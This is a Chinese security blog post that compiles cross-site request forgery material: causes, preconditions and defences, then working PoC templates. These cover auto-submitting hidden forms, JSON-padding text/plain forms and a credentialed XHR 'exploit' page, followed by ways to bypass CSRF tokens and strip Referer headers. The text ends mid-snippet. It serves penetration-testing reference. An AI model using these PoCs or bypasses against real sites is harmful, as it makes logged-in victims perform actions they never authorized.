Sanmi's blog

天下武功,无坚不破,唯快不破

0%

CSRF漏洞整理汇总

CSRF漏洞整理汇总

漏洞描述

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。

漏洞成因

错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。

CSRF漏洞的要点

  1. 目标请求为敏感的增删改操作
  2. 未校验Referer/Origin等头
  3. 所有的请求参数可预知
  4. Web应用身份验证机制是基于Cookie形式的

漏洞防护

  1. 自定义请求头加Token
  2. 校验来源(Origin或Referer)
  3. 使用验证码

POC类型整理

针对不同类型的数据提交的方式,在构造CSRF poc时会有对应的不同。下面将对不同的数据提交的方式,整理对应的poc

1.GET型CSRF

对于GET型的CSRF漏洞,我们可以使用任意的支持src属性的标签构造poc,如<img>等。

1
<img src=https://www.a.com/delete?id=123>

2. 普通的表单提交

2.1 application/x-www-form-urlencoded

这应该是最常见的 POST 提交数据的方式了。浏览器的原生<form>表单,如果不设置 enctype 属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。请求类似于下面这样(无关的请求头在本文中都省略掉了)

1
2
3
4
POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8

title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3

首先,Content-Type 被指定为 application/x-www-form-urlencoded;

其次,提交的数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码

很多时候,我们用 Ajax 提交数据时,也是使用这种方式。例如 JQueryQWrap 的 Ajax,Content-Type 默认值都是「application/x-www-form-urlencoded;charset=utf-8」。

那么,对应的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<!-- CSRF PoC - generated -->

<body>
<form id="csrf" action="https://example/api" method="POST">
<input type="hidden" name="name" value="3454" />
<input type="hidden" name="password" value="123" />

</form>
</body>
<script type="text/javascript">
function autoSubmit() {
document.getElementById("csrf").submit();
}
autoSubmit()
</script>
</html>

2.2 multipart/form-data

这又是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 <form> 表单的 enctype 等于 multipart/form-data。直接来看一个请求示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"

title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。

然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。

消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary 开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 --boundary-- 标示结束。

Part 头信息中必须包含一个 Content-Disposition 头,其他的头信息则为可选项, 比如 Content-Type 等。

Content-Disposition 包含了 type 和 一个名字为 name 的 parameter,type 是 form-data,name 参数的值则为表单控件(也即 field)的名字,如果是文件,那么还有一个 filename 参数,值就是文件名。

对于可选的 Content-Type(如果没有的话),默认就是 text/plain

对应的csrf poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>
<form id="csrf" action="https://a.com/getAddress" method="POST" enctype="multipart/form-data">
<input type="hidden" name="id" value="123" />

</form>
</body>
<script type="text/javascript">
function autoSubmit() {
document.getElementById("csrf").submit();
}
autoSubmit()
</script>
</html>

3. JSON数据

对于提交数据是JSON数据的,有以下几种利用方式。具体测试时可以都试试

1
Content-Type: application/json

3.1 用form来提交,把name置为一段JSON

1
2
3
4
5
6
7
8
9
10
<html>

<body>
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
<input type="hidden" name="&#123;&quot;pSpotId&quot;&#58;&quot;120201&quot;&#44;&quot;pSignTimes&quot;&#58;&quot;70&quot;&#44;&quot;pModuleID&quot;&#58;&quot;207&quot;&#44;&quot;pSceneid&quot;&#58;&quot;120201007000046&quot;&#125;" value="" />
<input type="submit" value="Submit request" />
</form>
</body>

</html>

不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。

这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。

补全等号

1
2
3
4
5
6
7
<html>
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}' type='hidden'>
<input type=submit>
</form>

</html>

需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的。如果服务端验证了Content-Type。则也可能失败

2.3 XHR进行提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>

<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="submitRequest()">Exploit</button>
</div>

<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://a.com/review", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
xhr.withCredentials = true;
xhr.send(JSON.stringify({

"country": "VEN",
"identity_type": "passport",
"first_name": "dfa",
"last_name": "dfaf",
"identity_no": "121212"

}));

xhr.send();
}
</script>
</body>

</html>

这种利用方式,需要满足XHR的要求

CSRF绕过

1. 绕过csrf token

如果一个敏感操作的参数里面,有一个csrf token,我们可以做如下尝试绕过

  1. 将该参数置空
  2. 设置为一个固定值
  3. 删除该参数

2. 如何把Referer头置空

  1. 从https页面发送http请求时,referer头为空
  2. 通过iframe标签加载的请求时,没有Referer头
1
<iframe src=http://www.a.com/delete.php?id=1>
  1. 点设置content为no-referer时(17年新出的功能,本意防止用户隐私泄露),没有referer头。
1
2
3
<html>
<meta name="referrer" content="no-referrer" />